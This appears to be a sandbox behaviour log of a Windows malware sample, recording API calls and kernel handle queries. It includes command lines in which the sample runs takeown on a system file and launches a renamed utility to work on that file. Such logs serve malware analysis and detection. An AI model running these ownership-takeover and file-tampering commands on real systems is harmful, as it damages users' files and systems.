HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.569] CloseHandle (hObject=0xc8) returned 1 [0114.569] CloseHandle (hObject=0xc0) returned 1 [0114.569] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.569] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0114.570] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.570] PsAcquireProcessExitSynchronization () returned 0x0 [0114.570] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0114.570] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80036ec4f0, HandleInformation=0x0) returned 0x0 [0114.570] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.570] PsReleaseProcessExitSynchronization () returned 0x2 [0114.570] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x23 [0114.570] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.570] ObfDereferenceObject (Object=0xfffffa80036ec4f0) returned 0x3 [0114.570] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.570] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.570] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.570] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.570] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.570] PsAcquireProcessExitSynchronization () returned 0x0 [0114.570] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0114.570] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003674560, HandleInformation=0x0) returned 0x0 [0114.570] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.570] PsReleaseProcessExitSynchronization () returned 0x2 [0114.570] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x23 [0114.570] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.570] ObfDereferenceObject (Object=0xfffffa8003674560) returned 0x1 [0114.570] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.570] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.570] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.570] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x114, lpOverlapped=0x0) returned 1 [0114.570] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.570] PsAcquireProcessExitSynchronization () returned 0x0 [0114.570] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0114.570] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002608620, HandleInformation=0x0) returned 0x0 [0114.570] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.570] PsReleaseProcessExitSynchronization () returned 0x2 [0114.571] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x23 [0114.571] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.571] ObfDereferenceObject (Object=0xfffffa8002608620) returned 0x1 [0114.571] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.571] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.571] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.571] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0114.571] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.571] PsAcquireProcessExitSynchronization () returned 0x0 [0114.571] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0114.571] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038bd450, HandleInformation=0x0) returned 0x0 [0114.571] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.571] PsReleaseProcessExitSynchronization () returned 0x2 [0114.571] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x23 [0114.571] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.571] ObfDereferenceObject (Object=0xfffffa80038bd450) returned 0x3 [0114.571] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.571] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.571] GetLastError () returned 0x57 [0114.571] SetLastError (dwErrCode=0x57) [0114.571] GetLastError () returned 0x57 [0114.571] SetLastError (dwErrCode=0x57) [0114.571] GetLastError () returned 0x57 [0114.571] SetLastError (dwErrCode=0x57) [0114.571] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x1000) returned 0x2b0bf0 [0114.571] GetLastError () returned 0x57 [0114.571] SetLastError (dwErrCode=0x57) [0114.571] GetLastError () returned 0x57 [0114.571] SetLastError (dwErrCode=0x57) [0114.571] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.572] SetLastError (dwErrCode=0x57) [0114.572] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetLastError () returned 0x57 [0114.573] SetLastError (dwErrCode=0x57) [0114.573] GetVersion () returned 0x1db10106 [0114.573] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0114.573] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4, lpConsoleScreenBufferInfo=0x12fec0 | out: lpConsoleScreenBufferInfo=0x12fec0) returned 0 [0114.671] WriteFile (in: hFile=0x4, lpBuffer=0x12e900*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x12e220, lpOverlapped=0x0 | out: lpBuffer=0x12e900*, lpNumberOfBytesWritten=0x12e220*=0x1d, lpOverlapped=0x0) returned 1 [0114.672] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x290190 | out: hHeap=0x270000) returned 1 [0114.673] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12feb8 | out: phModule=0x12feb8) returned 0 [0114.673] RtlExitUserProcess (ExitCode=0x1) [0114.673] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28f0a0 | out: hHeap=0x270000) returned 1 [0114.690] IofCompleteRequest (Irp=0xfffffa8002277430, PriorityBoost=0) Thread: id = 795 os_tid = 0xf0c Process: id = "206" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x74ac2000" os_pid = "0xf10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "199" os_parent_pid = "0xecc" cmd_line = "takeown /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 796 os_tid = 0xf14 Thread: id = 797 os_tid = 0xf18 Process: id = "207" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x73dcb000" os_pid = "0xf1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "199" os_parent_pid = "0xecc" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 798 os_tid = 0xf20 [0112.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f83c | out: lpSystemTimeAsFileTime=0x26f83c*(dwLowDateTime=0xe66560a0, dwHighDateTime=0x1d5d06a)) [0112.311] GetCurrentProcessId () returned 0xf1c [0112.312] GetCurrentThreadId () returned 0xf20 [0112.312] GetTickCount () returned 0x1163baa [0112.312] QueryPerformanceCounter (in: lpPerformanceCount=0x26f834 | out: lpPerformanceCount=0x26f834*=25426380626) returned 1 [0112.312] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0112.312] __set_app_type (_Type=0x1) [0112.312] __p__fmode () returned 0x76be31f4 [0112.313] __p__commode () returned 0x76be31fc [0112.313] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0112.313] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0112.313] GetCurrentThreadId () returned 0xf20 [0112.313] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf20) returned 0x60 [0112.313] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0112.313] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0112.313] SetThreadUILanguage (LangId=0x0) returned 0x409 [0112.314] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0112.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26f7cc | out: phkResult=0x26f7cc*=0x0) returned 0x2 [0112.314] VirtualQuery (in: lpAddress=0x26f803, lpBuffer=0x26f79c, dwLength=0x1c | out: lpBuffer=0x26f79c*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0112.314] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26f79c, dwLength=0x1c | out: lpBuffer=0x26f79c*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0112.314] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26f79c, dwLength=0x1c | out: lpBuffer=0x26f79c*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0112.314] VirtualQuery (in: lpAddress=0x173000, lpBuffer=0x26f79c, dwLength=0x1c | out: lpBuffer=0x26f79c*(BaseAddress=0x173000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0112.314] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26f79c, dwLength=0x1c | out: lpBuffer=0x26f79c*(BaseAddress=0x270000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x170000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0112.314] GetConsoleOutputCP () returned 0x1b5 [0112.314] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0112.314] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0112.314] _get_osfhandle (_FileHandle=1) returned 0x80 [0112.314] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0112.314] _get_osfhandle (_FileHandle=1) returned 0x80 [0112.314] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0112.315] _get_osfhandle (_FileHandle=0) returned 0x3 [0112.315] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0112.315] GetEnvironmentStringsW () returned 0x5e2200* [0112.315] GetProcessHeap () returned 0x5d0000 [0112.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb88) returned 0x5e2d90 [0112.315] FreeEnvironmentStringsW (penv=0x5e2200) returned 1 [0112.315] GetProcessHeap () returned 0x5d0000 [0112.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4) returned 0x5e18e0 [0112.315] GetEnvironmentStringsW () returned 0x5e2200* [0112.315] GetProcessHeap () returned 0x5d0000 [0112.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb88) returned 0x5e3920 [0112.316] FreeEnvironmentStringsW (penv=0x5e2200) returned 1 [0112.316] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26e73c | out: phkResult=0x26e73c*=0x68) returned 0x0 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x0, lpData=0x26e748*=0x0, lpcbData=0x26e740*=0x1000) returned 0x2 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x4, lpData=0x26e748*=0x1, lpcbData=0x26e740*=0x4) returned 0x0 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x0, lpData=0x26e748*=0x1, lpcbData=0x26e740*=0x1000) returned 0x2 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x4, lpData=0x26e748*=0x0, lpcbData=0x26e740*=0x4) returned 0x0 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x4, lpData=0x26e748*=0x40, lpcbData=0x26e740*=0x4) returned 0x0 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x4, lpData=0x26e748*=0x40, lpcbData=0x26e740*=0x4) returned 0x0 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x0, lpData=0x26e748*=0x40, lpcbData=0x26e740*=0x1000) returned 0x2 [0112.316] RegCloseKey (hKey=0x68) returned 0x0 [0112.316] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26e73c | out: phkResult=0x26e73c*=0x68) returned 0x0 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x0, lpData=0x26e748*=0x40, lpcbData=0x26e740*=0x1000) returned 0x2 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x4, lpData=0x26e748*=0x1, lpcbData=0x26e740*=0x4) returned 0x0 [0112.316] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x0, lpData=0x26e748*=0x1, lpcbData=0x26e740*=0x1000) returned 0x2 [0112.317] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x4, lpData=0x26e748*=0x0, lpcbData=0x26e740*=0x4) returned 0x0 [0112.317] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x4, lpData=0x26e748*=0x9, lpcbData=0x26e740*=0x4) returned 0x0 [0112.317] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x4, lpData=0x26e748*=0x9, lpcbData=0x26e740*=0x4) returned 0x0 [0112.317] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26e744, lpData=0x26e748, lpcbData=0x26e740*=0x1000 | out: lpType=0x26e744*=0x0, lpData=0x26e748*=0x9, lpcbData=0x26e740*=0x1000) returned 0x2 [0112.317] RegCloseKey (hKey=0x68) returned 0x0 [0112.317] time (in: timer=0x0 | out: timer=0x0) returned 0x5e271102 [0112.317] srand (_Seed=0x5e271102) [0112.317] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner" [0112.317] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner" [0112.317] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0112.318] GetProcessHeap () returned 0x5d0000 [0112.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x210) returned 0x5e44b0 [0112.318] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5e44b8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0112.318] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0112.318] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0112.318] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0112.318] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0112.318] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0112.318] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0112.318] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0112.318] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0112.318] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0112.318] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0112.318] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0112.318] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0112.318] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0112.318] GetProcessHeap () returned 0x5d0000 [0112.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x5e46c8 [0112.318] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26f508 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0112.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x26f508, lpFilePart=0x26f504 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f504*="Desktop") returned 0x25 [0112.319] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0112.319] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26f284 | out: lpFindFileData=0x26f284*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5e2080 [0112.319] FindClose (in: hFindFile=0x5e2080 | out: hFindFile=0x5e2080) returned 1 [0112.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26f284 | out: lpFindFileData=0x26f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5e2080 [0112.319] FindClose (in: hFindFile=0x5e2080 | out: hFindFile=0x5e2080) returned 1 [0112.319] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0112.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26f284 | out: lpFindFileData=0x26f284*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5e2080 [0112.319] FindClose (in: hFindFile=0x5e2080 | out: hFindFile=0x5e2080) returned 1 [0112.319] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0112.319] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0112.319] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") 